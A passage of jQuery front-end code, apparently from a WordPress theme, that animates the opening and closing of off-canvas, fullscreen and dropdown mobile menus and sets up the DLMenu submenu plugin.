						$('#slide-out-widget-area, #slide-out-widget-area-bg, #header-outer .slide-out-widget-area-toggle').removeClass('material-open');
						$('.ocm-effect-wrap, .ocm-effect-wrap-shadow, body > .slide_out_area_close, #fp-nav').removeClass('material-ocm-open');
						
						$('body > .slide_out_area_close').removeClass('follow-body');
						
						setTimeout(function () {
							$('.slide-out-widget-area-toggle a').removeClass('animating');
							
							$body.removeClass('material-ocm-open');
							$body.removeClass('nectar-no-flex-height');
							
							$('.ocm-effect-wrap').css({
								'height': '100%'
							});
							
							$('.ocm-effect-wrap-inner').css({
								'padding-top': '0'
							});
							
							$window.scrollTop(Math.abs(parseInt($('#ajax-content-wrap').css('top'))));
							
							$('#ajax-content-wrap').css({
								'position': '',
								'top': ''
							});
							
							
							//handle bottom bar nav
							if ($('#header-outer[data-format="centered-menu-bottom-bar"]').length > 0 && 
							$('#header-outer[data-format="centered-menu-bottom-bar"] .span_9').css('display') != 'none' && 
							$('body.mobile').length == 0) {
								
								$('#header-outer:not(.fixed-menu)').css('top', '');
								$headerSecondaryEl.css('visibility', '');
								
							}
							
							//handle hhun when at top
							$('body[data-hhun="1"]:not(.no-scroll) #header-outer[data-permanent-transparent="false"]:not(.detached):not(.parallax-contained):not(.at-top-before-box)').css({
								'transform': ''
							});
							setTimeout(function () {
								$('body[data-hhun="1"]:not(.no-scroll) #header-outer[data-permanent-transparent="false"]:not(.detached):not(.parallax-contained):not(.at-top-before-box)').css({
									'transition': ''
								});
							}, 30);
							
							
							$('body[data-hhun="1"] #header-secondary-outer.hidden').removeClass('hidden');
							
						}, 900);
						
						setTimeout(function () {
							
							//icon effect
							$('#header-outer:not([data-format="left-header"]) header#top .slide-out-widget-area-toggle a')
								.addClass('no-trans')
								.removeClass('effect-shown');
								
						}, 200);
						
						setTimeout(function () {
							//icon
							$('#header-outer:not([data-format="left-header"]) header#top .slide-out-widget-area-toggle a').removeClass('no-trans');
						}, 500);
						
					}
					
				}
				
				
				
				
				/**
				* Off canvas menu: fullscreen open.
				*
				* @since 10.5
				*/
				function OCM_fullscreenOpen() {
					
					if ($('body.material').length > 0) {
						$('header#top .slide-out-widget-area-toggle a').addClass('menu-push-out');
					}
					
					// Scroll away from fixed reveal footer if shown (firefox bug with bluring over it)
					var $scrollDelay = 0;
					var $scrollDelay2 = 0;
					
					if (nectarDOMInfo.scrollTop + $window.height() > $('.blurred-wrap').height() && $('#nectar_fullscreen_rows').length == 0) {
						$('body,html').stop().animate({
							scrollTop: $('.blurred-wrap').height() - $window.height()
						}, 600, 'easeInOutCubic');
						$scrollDelay = 550;
						$scrollDelay2 = 200;
					}
					
					$('header#top .slide-out-widget-area-toggle:not(.std-menu) .lines-button').addClass('close');
					setTimeout(function () {
						$('.blurred-wrap').addClass('blurred');
					}, $scrollDelay);
					$('#slide-out-widget-area.fullscreen').show().addClass('open');
					
					if ($('.nectar-social.fixed').length == 0) {
						hideToTop();
					}
					
					// Remove box shadow incase at the top of the page with nectar box roll above
					$('.container-wrap').addClass('no-shadow');
					$headerOuterEl.stop(true).css('transform', 'translateY(0)');
					
					setTimeout(function () {
						
						$('.off-canvas-menu-container .menu > li').each(function (i) {
							$(this).delay(i * 50).transition({
								y: 0,
								'opacity': 1
							}, 800, 'easeOutExpo');
						});
						
						$('#slide-out-widget-area.fullscreen .widget').each(function (i) {
							$(this).delay(i * 100).transition({
								y: 0,
								'opacity': 1
							}, 800, 'easeOutExpo');
						});
					}, 370 + $scrollDelay2);
					
					setTimeout(function () {
						$('#slide-out-widget-area .off-canvas-social-links').addClass('line-shown');
						
						$('#slide-out-widget-area .off-canvas-social-links li').each(function (i) {
							$(this).delay(i * 50).transition({
								'scale': 1
							}, 400, 'easeOutCubic');
						});
						
						$('#slide-out-widget-area .bottom-text').transition({
							'opacity': 0.7
						}, 400, 'easeOutCubic');
					}, 750 + $scrollDelay2);
					
					// Fade In BG Overlay
					setTimeout(function () {
						var $easing = ($('body.mobile').length > 0) ? 'easeOutCubic' : 'easeInOutQuint';
						$offCanvasBG.css({
							'height': '100%',
							'width': '100%'
						}).show().stop(true).transition({
							'y': '0%'
						}, 920, $easing, function () {
							$('.slide-out-widget-area-toggle > div > a').removeClass('animating');
						});
					}, 50 + $scrollDelay2);
					
					// Overflow state 
					OCM_overflowState();
					
					if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 && $('.container-wrap').hasClass('no-scroll')) {
						$('#ajax-content-wrap').addClass('at-content');
					}
					
					if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 || $('.mobile').length == 0 && $('#header-outer.transparent').length == 0) {
						$('#slide-out-widget-area.fullscreen .inner-wrap').css('padding-top', $headerOuterEl.height());
					}
					
				}
				
				
				/**
				* Off canvas menu: fullscreen close.
				*
				* @since 10.5
				*/
				function OCM_fullscreenClose() {
					
					if ($('body.material').length > 0) {
						setTimeout(function () {
							$('header#top .slide-out-widget-area-toggle a').removeClass('menu-push-out');
						}, 350);
					}
					
					$('.slide-out-widget-area-toggle:not(.std-menu) .lines-button').removeClass('close');
					$('.blurred-wrap').removeClass('blurred');
					$('#slide-out-widget-area.fullscreen').transition({
						'opacity': 0
					}, 700, 'easeOutQuad', function () {
						$('#slide-out-widget-area.fullscreen').hide().css('opacity', '1');
					}).removeClass('open');
					$('#slide-out-widget-area.fullscreen .widget').transition({
						'opacity': 0
					}, 700, 'easeOutQuad', function () {
						$(this).transition({
							y: '110px'
						}, 0);
					});
					
					setTimeout(function () {
						$('.off-canvas-menu-container .menu > li').transition({
							y: '80px',
							'opacity': 0
						}, 0);
						$('#slide-out-widget-area .off-canvas-social-links li').transition({
							'scale': 0
						}, 0);
						$('#slide-out-widget-area .off-canvas-social-links').removeClass('line-shown');
						$('#slide-out-widget-area .bottom-text').transition({
							'opacity': 0
						}, 0);
						
						// Close submenu items
						$('#slide-out-widget-area .menuwrapper .menu').removeClass('subview');
						$('#slide-out-widget-area .menuwrapper .menu li').removeClass('subview subviewopen');
						$('#slide-out-widget-area.fullscreen .inner .off-canvas-menu-container').css('height', 'auto');
					}, 800);
					
					setTimeout(function () {
						if ($('.nectar-social.fixed').length == 0) {
							showToTop();
						}
						$('.container-wrap').removeClass('no-shadow');
					}, 500);
					
					// Fade out overlay
					$offCanvasBG.stop(true).transition({
						'opacity': 0
					}, 900, 'easeOutQuad', function () {
						
						if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 && $('.container-wrap').hasClass('no-scroll')) {
							$('#ajax-content-wrap').removeClass('at-content');
						}
						if ($('.mobile #header-outer[data-permanent-transparent="false"]').length == 0) {
							$('#slide-out-widget-area.fullscreen .inner-wrap').css('padding-top', '0');
						}
						
						$('.slide-out-widget-area-toggle a').removeClass('animating');
						
						var $opacity = 0.4;
						
						if ($offCanvasBG.hasClass('solid')) {
							$opacity = 1;
						}
						if ($offCanvasBG.hasClass('dark')) {
							$opacity = 0.93;
						}
						if ($offCanvasBG.hasClass('medium')) {
							$opacity = 0.6;
						}
						if ($offCanvasBG.hasClass('light')) {
							$opacity = 0.4;
						}
						$(this).css({
							'height': '1px',
							'width': '1px',
							'opacity': $opacity
						}).transition({
							y: '-100%'
						}, 0);
					});
					
				}
				
				
				/**
				* Off canvas menu: fullscreen alt open.
				*
				* @since 10.5
				*/
				function OCM_fullscreenAltOpen() {
					
					if ($('body.material').length > 0) {
						$('header#top .slide-out-widget-area-toggle a').addClass('menu-push-out');
					}
					
					$('header#top .slide-out-widget-area-toggle:not(.std-menu) .lines-button').addClass('close');
					$('#slide-out-widget-area.fullscreen-alt').show().addClass('open');
					$offCanvasBG.addClass('open');
					
					$('body > div[class*="body-border"]').css('z-index', '9995');
					
					$('.off-canvas-menu-container .menu').transition({
						y: '0px',
						'opacity': 1
					}, 0);
					
					if ($('.nectar-social.fixed').length == 0) {
						hideToTop();
					}
					
					if ($('#header-outer.transparent').length > 0) {
						
						if ($bodyBorderTop.length > 0) {
							$('.admin-bar #slide-out-widget-area-bg.fullscreen-alt').css({
								'padding-top': ($bodyBorderTop.outerHeight(true) + 32) + 'px'
							});
							$('body:not(.admin-bar) #slide-out-widget-area-bg.fullscreen-alt').css({
								'padding-top': ($bodyBorderTop.outerHeight(true)) + 'px'
							});
						}
					}
					
					// Set translateY to 0 in all cases
					$headerOuterEl.stop(true).css('transform', 'translateY(0)');
					
					if ($('#logo .starting-logo').length > 0 && 
					$window.width() > 1000 && 
					$('#header-outer[data-format="centered-menu-bottom-bar"].fixed-menu').length == 0 && 
					$('body.material #header-outer[data-condense="true"]').length == 0 && 
					!nectarDOMInfo.usingFrontEndEditor) {
						
						$headerOuterEl.stop(true).css('transform', 'translateY(0)').addClass('transparent');
						if ($headerOuterEl.attr('data-transparent-header') != 'true') {
							$headerOuterEl.attr('data-transparent-header', 'true').addClass('pseudo-data-transparent');
						}
						
					}
					
					$('.off-canvas-menu-container .clip-wrap').css('transition-duration', '0s');
					
					setTimeout(function () {
						
						$('.off-canvas-menu-container .menu > li').each(function (i) {
							$(this).delay(i * 50).transition({
								y: 0,
								'opacity': 1
							}, 750, 'easeOutCubic').addClass('no-pointer-events');
						});
						
						setTimeout(function () {
							$('.off-canvas-menu-container .menu > li').removeClass('no-pointer-events');
							$('.off-canvas-menu-container .clip-wrap').css('transition-duration', '.45s');
						}, 500);
						
						$('#slide-out-widget-area.fullscreen-alt .widget').each(function (i) {
							$(this).delay(i * 100).transition({
								y: 0,
								'opacity': 1
							}, 650, 'easeOutCubic');
						});
					}, 200);
					
					setTimeout(function () {
						$('#slide-out-widget-area .off-canvas-social-links').addClass('line-shown');
						
						$('#slide-out-widget-area .off-canvas-social-links li').css('opacity', '1').each(function (i) {
							$(this).delay(i * 50).transition({
								'scale': 1
							}, 400, 'easeOutCubic');
						});
						$('#slide-out-widget-area .bottom-text').transition({
							'opacity': 1
						}, 600, 'easeOutCubic');
					}, 200);
					
					// Fade In BG Overlay
					var $opacity = 0.4;
					
					if ($offCanvasBG.hasClass('solid')) {
						$opacity = 1;
					}
					if ($offCanvasBG.hasClass('dark')) {
						$opacity = 0.97;
					}
					if ($offCanvasBG.hasClass('medium')) {
						$opacity = 0.6;
					}
					if ($offCanvasBG.hasClass('light')) {
						$opacity = 0.4;
					}
					$offCanvasBG.removeClass('no-transition');
					
					
					$offCanvasBG.addClass('padding-removed').css({
						'height': '100%',
						'width': '100%',
						'left': '0',
						'opacity': $opacity
					});
					
					
					setTimeout(function () {
						$('.slide-out-widget-area-toggle > div > a').removeClass('animating');
					}, 600);
					
					
					// Overflow state 
					OCM_overflowState();
					
					if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 && 
					$('.container-wrap').hasClass('no-scroll')) {
						$('#ajax-content-wrap').addClass('at-content');
					}
					
					if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 || 
					$('.mobile').length == 0 && $('#header-outer.transparent').length == 0) {
						$('#slide-out-widget-area.fullscreen-alt .inner-wrap').css('padding-top', $headerOuterEl.height());
					}
					
				}

				
				/**
				* Off canvas menu: fullscreen alt close.
				*
				* @since 10.5
				*/
				function OCM_fullscreenAltClose() {
					
					if ($('body.material').length > 0) {
						setTimeout(function () {
							$('header#top .slide-out-widget-area-toggle a').removeClass('menu-push-out');
						}, 350);
					}
					
					$('.slide-out-widget-area-toggle:not(.std-menu) .lines-button').removeClass('close');
					$('.blurred-wrap').removeClass('blurred');
					$offCanvasBG.removeClass('open');
					
					$('#slide-out-widget-area.fullscreen-alt .widget').transition({
						'opacity': 0
					}, 500, 'easeOutQuad', function () {
						$(this).transition({
							y: '40px'
						}, 0);
					});
					$('#slide-out-widget-area .bottom-text, #slide-out-widget-area .off-canvas-social-links li').transition({
						'opacity': 0
					}, 250, 'easeOutQuad');
					$('#slide-out-widget-area .off-canvas-social-links').removeClass('line-shown');
					
					$('.off-canvas-menu-container .menu').transition({
						y: '-13px',
						'opacity': 0
					}, 400);
					
					
					setTimeout(function () {
						$('.off-canvas-menu-container .menu > li').stop(true, true).transition({
							y: '40px',
							'opacity': 0
						}, 0);
						$('#slide-out-widget-area .off-canvas-social-links li').transition({
							'scale': 0
						}, 0);
						$('#slide-out-widget-area .off-canvas-social-links').removeClass('line-shown');
						
						// Close submenu items
						$('#slide-out-widget-area .menuwrapper .menu').removeClass('subview');
						$('#slide-out-widget-area .menuwrapper .menu li').removeClass('subview subviewopen');
						$('#slide-out-widget-area.fullscreen-alt .inner .off-canvas-menu-container').css('height', 'auto');
						
						if ($('.mobile #header-outer[data-permanent-transparent="false"]').length > 0 && $('.container-wrap').hasClass('no-scroll')) {
							$('#ajax-content-wrap').removeClass('at-content');
						}
						
						if ($('.mobile #header-outer[data-permanent-transparent="false"]').length == 0) {
							$('#slide-out-widget-area.fullscreen-alt .inner-wrap').css('padding-top', '0');
						}
						
						$('.slide-out-widget-area-toggle a').removeClass('animating');
						
						$offCanvasBG.css({
							'height': '1px',
							'width': '1px',
							'left': '-100%'
						});
						
						$('#slide-out-widget-area.fullscreen-alt').hide().removeClass('open');
						
					}, 550);
					
					setTimeout(function () {
						if ($('.nectar-social.fixed').length == 0) {
							showToTop();
						}
					}, 600);
					
					// Fade out overlay
					setTimeout(function () {
						$offCanvasBG.removeClass('padding-removed');
					}, 50);
					
					
					var borderDelay = ($bodyBorderHeaderColorMatch == true) ? 150 : 50;
					
					setTimeout(function () {
						$offCanvasBG.stop(true).css({
							'opacity': 0
						});
						if ($('#header-outer[data-transparent-header="true"]').length > 0) {
							$('body > div[class*="body-border"]').css('z-index', '10000');
						}
					}, borderDelay);
					
					setTimeout(function () {
						$('#header-outer.transparent.small-nav, #header-outer.transparent.detached, #header-outer:not([data-permanent-transparent="1"]).transparent.scrolled-down').removeClass('transparent');
						
						if ($headerOuterEl.hasClass('pseudo-data-transparent')) {
							
							$headerOuterEl.attr('data-transparent-header', 'false')
								.removeClass('pseudo-data-transparent')
								.removeClass('transparent');
						}
						
					}, 100);
					
				}
				
				
				/**
				* Off canvas menu: simple dropdown open.
				*
				* @since 10.5
				*/
				function OCM_simpleDropdownOpen() {
					
					$('#mobile-menu').show();
					
					$('header#top .slide-out-widget-area-toggle:not(.std-menu) .lines-button').addClass('close');
					
					if ($('body.material').length > 0) {
						$('header#top .slide-out-widget-area-toggle a').addClass('menu-push-out');
					}
					
					setTimeout(function () {
						$('.slide-out-widget-area-toggle > div > a').removeClass('animating');
					}, 100);
					
				}
				
				/**
				* Off canvas menu: simple dropdown close.
				*
				* @since 10.5
				*/
				function OCM_simpleDropdownClose() {
					$('#mobile-menu').hide();
					
					$('.slide-out-widget-area-toggle:not(.std-menu) .lines-button').removeClass('close');
					
					setTimeout(function () {
						if ($('body.material').length > 0) {
							$('header#top .slide-out-widget-area-toggle a').removeClass('menu-push-out');
						}
						$('.slide-out-widget-area-toggle a').removeClass('animating');
					}, 350);
				}
				
				
				/**
				* Off canvas menu: simple dropdown click events.
				*
				* @since 10.5
				*/
				function OCM_simpleStyleInit() {
					
					if( $('#header-outer #mobile-menu').length == 0 ) {
						return;
					}
					
					$('#header-outer #mobile-menu li.megamenu').removeClass('megamenu');
					
					// Add icons/markup.
					$('#header-outer #mobile-menu ul li').each(function(){
						$(this).find('a').wrapInner('<span></span>');
						if($(this).find('> ul').length > 0) {
							$(this).find('> a').append('<span class="sf-sub-indicator"><i class="fa fa-angle-down"></i></span>');
						}
					});
					
					// Click event.
					$('#header-outer #mobile-menu .sf-sub-indicator').on('click', function(){
						
						var $parentLI = $(this).parent().parent();
						
						$parentLI.toggleClass('current-open-item');
						
						// Open.
						if( $parentLI.hasClass('current-open-item') ) {
							$parentLI.find('> ul').show();
							setTimeout(function(){
								$parentLI.addClass('visible');
							},30);
						} else {
							// Close.
							$parentLI.find('ul').hide();
							// Ensure open children also close.
							$parentLI.find('li').removeClass('visible').removeClass('current-open-item');
							$parentLI.removeClass('visible');
						}

						return false;
						
					});
					
					// Resize event.
					$window.on('smartresize', function(){
						
						if( nectarDOMInfo.winW > 1000 && $('.slide-out-widget-area-toggle.mobile-icon a.open').length > 0 ) {

						$('.slide-out-widget-area-toggle.mobile-icon a')
							.addClass('non-human-allowed')
							.trigger('click');
							
							setTimeout(function () {
									$('.slide-out-widget-area-toggle.mobile-icon a').removeClass('non-human-allowed');
							}, 100);
							
						}
							
					});
					
				}
				
				
				/**
				* Off canvas menu click triggered styles initialization
				*
				* @since 10.5
				*/
				function OCM_clickTriggeredStylesInit() {
					
					// Click triggered open bind.
					$body.on('click', '.slide-out-widget-area-toggle:not(.std-menu) a.closed:not(.animating), .nectar-ocm-trigger-open', function () {
						
						if (nectarBoxRoll.animating == 'true' || $('.slide-out-from-right-hover').length > 0) {
							return false;
						}
						
						$headerOuterEl.removeClass('no-transition');
						
						// Slide out from right.
						if ($offCanvasEl.hasClass('slide-out-from-right')) {
							OCM_slideOutRightOpen();
						} 
						// Fullscreen.
						else if ($offCanvasEl.hasClass('fullscreen')) {
							OCM_fullscreenOpen();
						} 
						// Fullscreen Alt.
						else if ($offCanvasEl.hasClass('fullscreen-alt')) {
							OCM_fullscreenAltOpen();
						} 
						// Simple dropdown.
						else if( $('#header-outer #mobile-menu').length > 0 ) {
							OCM_simpleDropdownOpen();
						}
						
	
						// Add open class
						if( $('#header-outer #mobile-menu').length == 0 ) {
							
							$headerOuterEl
								.removeClass('side-widget-closed')
								.addClass('side-widget-open');
						
						
							// Give header transparent state
							if ($('#header-outer[data-transparency-option="1"]').length > 0 && 
							$('#boxed').length == 0 && 
							$('#header-outer[data-full-width="true"]').length > 0 && 
							!nectarDOMInfo.usingFrontEndEditor) {
								
								if ($('body.material[data-slide-out-widget-area-style="slide-out-from-right"]').length == 0 && 
								$('body.material #header-outer[data-condense="true"]').length == 0) {
									
									$headerOuterEl.addClass('transparent');
									
								}
								
							}
							
							// Dark slide transparent nav
							if ($('#header-outer.dark-slide.transparent').length > 0 && 
							$('#boxed').length == 0 && 
							$('body.material-ocm-open').length == 0) {
								$headerOuterEl
									.removeClass('dark-slide')
									.addClass('temp-removed-dark-slide');
							}

						} // Not using simple OCM.
						
						
						$('.slide-out-widget-area-toggle > div > a')
							.removeClass('closed')
							.addClass('open')
							.attr('aria-expanded','true');
							
						$('.slide-out-widget-area-toggle > div > a').addClass('animating');
						
						return false;
					
					});
					
	
	
					// Close event bind.
					$body.on('click', '.slide-out-widget-area-toggle:not(.std-menu) a.open:not(.animating), #slide-out-widget-area .slide_out_area_close, > .slide_out_area_close, #slide-out-widget-area-bg.slide-out-from-right, .material-ocm-open #ajax-content-wrap', function (e) {
						
						if (e.originalEvent == undefined && 
							$('.slide_out_area_close.non-human-allowed').length == 0 && 
							$('.slide-out-widget-area-toggle.mobile-icon a.non-human-allowed').length == 0) {
							return;
						}
						
						if ($('.slide-out-widget-area-toggle:not(.std-menu) a.animating').length > 0) {
							return;
						}
						
						$headerOuterEl.removeClass('no-transition');
						
						$('.slide-out-widget-area-toggle:not(.std-menu) a')
							.removeClass('open')
							.addClass('closed')
							.attr('aria-expanded','false');
							
						$('.slide-out-widget-area-toggle:not(.std-menu) a')
							.addClass('animating');
						
						// Slide out from right.
						if ($offCanvasEl.hasClass('slide-out-from-right')) {
							OCM_slideOutRightClose();
						} 
						
						// Fullscreen.
						else if ($offCanvasEl.hasClass('fullscreen')) {
							OCM_fullscreenClose();
						} 
						// Fullscreen alt.
						else if ($offCanvasEl.hasClass('fullscreen-alt')) {
							OCM_fullscreenAltClose();
						}
						// Simple dropdown.
						else if( $('#header-outer #mobile-menu').length > 0 ) {
							OCM_simpleDropdownClose();
						}
						
						if( $('#header-outer #mobile-menu').length == 0 ) {
							
							// Dark slide transparent nav
							if ($('#header-outer.temp-removed-dark-slide.transparent').length > 0 && $('#boxed').length == 0) {
								$headerOuterEl
									.removeClass('temp-removed-dark-slide')
									.addClass('dark-slide');
							}
							
							// Remove header transparent state
							if ($('#header-outer[data-permanent-transparent="1"]').length == 0 && $('#slide-out-widget-area.fullscreen-alt').length == 0) {
								
								if ($('.nectar-box-roll').length == 0) {
									if ($('#header-outer.small-nav').length > 0 || 
									$('#header-outer.scrolled-down').length > 0) {
										$headerOuterEl.removeClass('transparent');
									}
								} 
								else {
									if ($('#header-outer.small-nav').length > 0 || 
									$('#header-outer.scrolled-down').length > 0 || 
									$('.container-wrap.auto-height').length > 0) {
										$headerOuterEl.removeClass('transparent');
									}
								}
								
							}
							
							// Remove hidden menu
							$headerOuterEl.removeClass('hidden-menu');
							
							$headerOuterEl
								.removeClass('side-widget-open')
								.addClass('side-widget-closed');
									
						} // Not using simple OCM.
						
						return false;
						
					});
					
				}
				
				
				/**
				* Off canvas menu main initialization.
				*
				* @since 10.5
				*/
				function OCM_init() {
					
					if ($('#slide-out-widget-area.slide-out-from-right-hover').length > 0) {
						OCM_slideOutRightHoverInit();
					} else {
						OCM_clickTriggeredStylesInit();
						OCM_simpleStyleInit();
					}
					
					
					if ($('body.material[data-slide-out-widget-area-style*="slide-out-from-right"]').length == 0 && 
					$('#slide-out-widget-area[data-dropdown-func="separate-dropdown-parent-link"]').length == 0) {
						
						fullscreenMenuInit();
						
					} else if ($('body.using-mobile-browser[data-slide-out-widget-area-style="slide-out-from-right-hover"]').length > 0) {
						
						// Close OCM on mobile when clicking anchor on same page 
						$('body #slide-out-widget-area .inner .off-canvas-menu-container li a[href]').on('click', function () {
							
							if ($(this).attr('href') != '#') {
								OCM_close($(this).parent());
							}
							
						});
						
					}
					
					// Page fullscreen row close OCM fullscreen
					if ($('#nectar_fullscreen_rows').length > 0 && $('body[data-slide-out-widget-area-style*="fullscreen"]').length > 0) {
						
						$('body #slide-out-widget-area .inner .off-canvas-menu-container li a[href]').on('click', function () {
							var $link_href = ($(this).is('[href*="#"]')) ? $(this).attr('href') : '';
							if ($link_href != '#' && $('div[data-fullscreen-anchor-id="' + $link_href.substr($link_href.indexOf("#") + 1) + '"]').length > 0) {
								
								setTimeout(function () {
									
									$('#slide-out-widget-area .slide_out_area_close')
										.addClass('non-human-allowed')
										.trigger('click');
										
								}, 100);
								
								setTimeout(function () {
									$('#slide-out-widget-area .slide_out_area_close').removeClass('non-human-allowed');
								}, 150);
								
							}
							
						});
					}
					
					
					// Submenu link hover fix
					$body.on('mouseover', '#slide-out-widget-area .off-canvas-menu-container .menuwrapper > .sub-menu li > a', function () {
						var $currentTxt = $(this).text();
						$('.off-canvas-menu-container .menuwrapper .menu li > a').removeClass('hovered');
						$('.off-canvas-menu-container .menuwrapper .menu li > a:contains(' + $currentTxt + ')').addClass('hovered');
					});
					
					$body.on('mouseover', '.off-canvas-menu-container .menuwrapper .menu li > a', function () {
						$('.off-canvas-menu-container .menuwrapper .menu li > a').removeClass('hovered');
					});
					
					
					// Bind mousewheel.
					setTimeout(OCM_scrolling, 500);
					
					// Handle mobile scrolling.
					if (nectarDOMInfo.usingMobileBrowser) {
						$offCanvasEl.addClass('mobile');
					}
					
					
				}
				
		


				/**
				* Off canvas menu scrolling.
				*
				* @since 10.5
				*/
				function OCM_scrolling() {
					
					$offCanvasEl.mousewheel(function (event, delta) {
						
						this.scrollTop -= (delta * 30);
						
						event.preventDefault();
					});
					
				}
				
		
				
				/**
				* Off canvas menu close.
				*
				* @since 10.5
				*/
				function OCM_close(item) {
					
					if ($('#slide-out-widget-area.open').length > 0) {
						
						var $windowCurrentLocation = window.location.href.split("#")[0];
						var $windowClickedLocation = item.find('> a').attr('href').split("#")[0];
						
						if ($windowCurrentLocation == $windowClickedLocation || item.find('a[href^="#"]').length > 0) {
							if (item.parents('.slide-out-from-right-hover').length > 0) {
								$('.slide-out-widget-area-toggle.slide-out-hover-icon-effect a').trigger('click');
							} else {
								$('.slide-out-widget-area-toggle a').trigger('click');
							}
							
						}
					}
					
				}
				
				
				
				
				/**
				* Click based submenus.
				*
				* Used by left header layout and off canvas menu.
				*
				* @since 10.5
				*/
				function clickToggleSubmenus() {
					
					if (!$('#header-outer[data-format="left-header"]').length > 0 &&
					!$('body.material[data-slide-out-widget-area-style*="slide-out-from-right"]').length > 0 &&
					!$('#slide-out-widget-area[data-dropdown-func="separate-dropdown-parent-link"]').length > 0) {
						return;
					}
					
					// Remove megamenu class.
					$('#header-outer[data-format="left-header"] nav li.megamenu').removeClass('megamenu');
					
					var $ocm_link_selector;
					
					if ($('#slide-out-widget-area[data-dropdown-func="separate-dropdown-parent-link"]').length > 0) {
						$ocm_link_selector = '#slide-out-widget-area .off-canvas-menu-container li.menu-item-has-children > .ocm-dropdown-arrow';
					} else {
						$ocm_link_selector = 'body.material #slide-out-widget-area[class*="slide-out-from-right"] .off-canvas-menu-container li.menu-item-has-children > a';
					}
					
					// Click event.
					$('#header-outer[data-format="left-header"] nav li.menu-item-has-children > a, ' + $ocm_link_selector).on('click', function () {
						
						if ($(this).parent().hasClass('open-submenu')) {
							$(this).parent().find('.sub-menu').css({
								'max-height': '0'
							});
							$(this).parent().removeClass('open-submenu');
						} else {
							
							// Get max height.
							var $that = $(this);
							var $maxSubMenuHeight;
							
							$that.parent()
								.find('> .sub-menu')
								.addClass('no-trans');
							
							setTimeout(function () {
								
								$that.parent().find('> .sub-menu').css({
									'max-height': 'none',
									'position': 'absolute',
									'visibility': 'hidden'
								});
								
								$maxSubMenuHeight = $that.parent().find('> .sub-menu').height();
								
								$that.parent()
									.find('> .sub-menu')
									.removeClass('no-trans');
									
								$that.parent().find('> .sub-menu').css({
									'max-height': '0',
									'position': 'relative',
									'visibility': 'visible'
								});
								
							}, 25);
							
							setTimeout(function () {
								
								// Reset Max Height.
								$that.closest('ul')
									.find('li.menu-item-has-children')
									.removeClass('open-submenu');
									
								$that.closest('ul').find('li.menu-item-has-children > .sub-menu').css({
									'max-height': '0'
								});
								
								$that.parent().addClass('open-submenu');
								
								$that.parent()
									.find('> .sub-menu')
									.css('max-height', $maxSubMenuHeight);
								
								// Add height to open parents.
								if ($that.parents('ul').length > 0) {
									
									$that.parents('ul:not(.sf-menu)').each(function () {
										$(this).css('max-height');
										$(this).css('max-height', parseInt($(this).height() + parseInt($(this).css('padding-top')) * 2 + $maxSubMenuHeight) + 'px');
									});
								}
								
								
							}, 50);
						}
						
						return false;
						
					});
					
					// Start open for current page items.	
					if($('#header-outer[data-format="left-header"] nav .sf-menu > .current-menu-ancestor.menu-item-has-children > ul > li.current-menu-item').length > 0) {
						$('#header-outer[data-format="left-header"] nav .sf-menu > .current-menu-ancestor.menu-item-has-children > a').trigger('click');
					}

					
				}
				
				
				
				
				
				
				
				
				/**
				* DLMenu - plugin used for submenus in off canvas menu.
				*
				* @since 6.0
				*/
				$.DLMenu = function (options, element) {
					this.$el = $(element);
					this._init(options);
				};
				
				// the options
				$.DLMenu.defaults = {
					// classes for the animation effects
					animationClasses: {
						classin: 'dl-animate-in-1',
						classout: 'dl-animate-out-1'
					},
					onLevelClick: function () {
						return false;
					},
					onLinkClick: function () {
						return false;
					}
				};
				
				$.DLMenu.prototype = {
					_init: function (options) {
						
						// options
						this.options = $.extend(true, {}, $.DLMenu.defaults, options);
						this._config();
						
						var animEndEventNames = {
							'WebkitAnimation': 'webkitAnimationEnd',
							'OAnimation': 'oAnimationEnd',
							'msAnimation': 'MSAnimationEnd',
							'animation': 'animationend'
						},
						transEndEventNames = {
							'WebkitTransition': 'webkitTransitionEnd',
							'MozTransition': 'transitionend',
							'OTransition': 'oTransitionEnd',
							'msTransition': 'MSTransitionEnd',
							'transition': 'transitionend'
						};
						// animation end event name
						this.animEndEventName = animEndEventNames['animation'] + '.menu';
						// transition end event name
						this.transEndEventName = transEndEventNames['transition'] + '.menu',
						// support for css animations and css transitions
						this.supportAnimations = true,
						this.supportTransitions = true;
						this._initEvents();
						
					},
					_config: function () {
						this.open 			= false;
						this.$trigger 	= this.$el.children('.trigger');
						this.$menu 			= this.$el.children('ul.menu');
						this.$menuitems = this.$menu.find('li:not(.back) > a');
						
						this.$el.find('ul.sub-menu')
							.prepend('<li class="back"><a href="#"> ' + $offCanvasEl.attr('data-back-txt') + ' </a></li>');
							
						this.$back = this.$menu.find('li.back');
					},
					_initEvents: function () {
						
						var self = this;
						
						this.$trigger.on('click.menu', function () {
							
							if (self.open) {
								self._closeMenu();
							} else {
								self._openMenu();
							}
							return false;
							
						});
						
						this.$menuitems.on('click.menu', function (event) {
							
							
							var $item = $(this).parent('li'),
							$submenu = $item.children('ul.sub-menu');
							
							$('.fullscreen-alt .off-canvas-menu-container .clip-wrap, .fullscreen-alt .off-canvas-menu-container .clip-wrap span').css('transition-duration', '0s');
							
							if ($submenu.length > 0) {
								
								var $flyin = $submenu.clone().css('opacity', 0).insertAfter(self.$menu),
								onAnimationEndFn = function () {
									self.$menu.off(self.animEndEventName).removeClass(self.options.animationClasses.classout).addClass('subview');
									$item.addClass('subviewopen').parents('.subviewopen:first').removeClass('subviewopen').addClass('subview');
									$flyin.remove();
									setTimeout(function () {
										$('.off-canvas-menu-container .menu > li').removeClass('no-pointer-events');
										$('.off-canvas-menu-container .clip-wrap, .off-canvas-menu-container .clip-wrap span').css('transition-duration', '.45s');
									}, 300);

								};
								
								setTimeout(function () {
									$flyin.addClass(self.options.animationClasses.classin);
									self.$menu.addClass(self.options.animationClasses.classout);
									if (self.supportAnimations) {
										self.$menu.on(self.animEndEventName, onAnimationEndFn);
									} else {
										onAnimationEndFn.call();
									}
									
									self.options.onLevelClick($item, $item.children('a:first').text());
								});
								
								
								$item.parents('.off-canvas-menu-container').css('height', $item.parents('.off-canvas-menu-container').find('.menuwrapper .menu').height()).transition({
									'height': $flyin.height()
								}, 500, 'easeInOutQuad');
								
								
								return false;
								
							} else {
								
								self.options.onLinkClick($item.find('> a'), event);
							}
							
							OCM_close($item);
							
						});
						
						
						
						this.$back.on('click.menu', function () {
							
							var $this = $(this),
